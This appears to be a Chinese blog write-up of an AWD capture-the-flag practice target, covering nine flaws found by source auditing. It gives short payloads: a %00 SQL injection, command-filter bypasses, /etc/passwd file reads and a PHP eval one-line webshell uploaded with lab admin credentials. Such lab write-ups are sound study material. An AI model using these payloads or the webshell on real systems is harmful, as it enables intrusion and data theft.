前言

没做过awd靶机,今天练习下

漏洞发现

1、进行awd练习

image.png

2、首先备份网站源码到本地

tar -zcvf /tmp/html.tar.gz /var/www/html

3、使用seay源代码审计源码

image.png

漏洞分析

漏洞一 代码执行

1、从敏感函数回溯,首先从第一个开始

image.png

2、从代码中看出是通过POST传参作为代码执行,并且将传参中flag替换为空,我们可以通过双写绕过,str_replace只会替换一次

image.png

漏洞二 SQL注入

1、查看代码,使用eregi函数进行黑名单匹配

image.png

2、这里的话可以使用eregi00截断漏洞,如果是%00的话,eregi会直接返回false,具体可参考另一篇文章eregi漏洞

image.png

image.png

3、payload

?id="%00" union select 1,2,3,4

漏洞三 代码执行

1、查看代码,这里通过POST传参,在进行正则过滤,可以看出过滤了一些常用函数

image.png

2、这里我是采用readfile函数进行读取

image.png

image.png

漏洞四 任意文件读取

1、从代码上分析,这里存在任意文件读取

image.png

2、payload

?path=/etc/passwd

image.png

?path=/flag.txt

image.png

漏洞五 反序列化

image.png

*** 没利用成 ***

漏洞六 命令执行

1、查看代码,通过POST传参,进行黑名单正则匹配和字符串替换,

image.png

2、通过\绕过cat与flag过滤,<绕过空格替换

image.png

payload

ca\t</fl\ag.txt

image.png

漏洞七 任意文件读取

1、查看代码,替换了flag与…/与…

image.png

2、可通过双写直接绕过替换

*** payload ***

?file=/flflagag.txt

image.png

漏洞八 文件上传

1、查看代码,发现这里存在文件上传,没有进行什么过滤,路径在/admin/upload.php

image.png

2、这里就需要用到之前SQL注入获得的账户密码进行登录 admin/AdmInP4ssw0rd

image.png

3、发现上传点,上传一句话马

 <?php
  
 @eval($_POST['cmd']);
  
 ?>

image.png

4、蚁剑连之

image.png

5、这里推荐文件监控小工具,可以实时监测文件增删改

image.png

漏洞九 命令执行

1、查看代码,发现存在system函数,没做任何防护

image.png

2、payload

shell=cat /flag.txt

工具

seay源代码审计

FileMonitor

上一篇 下一篇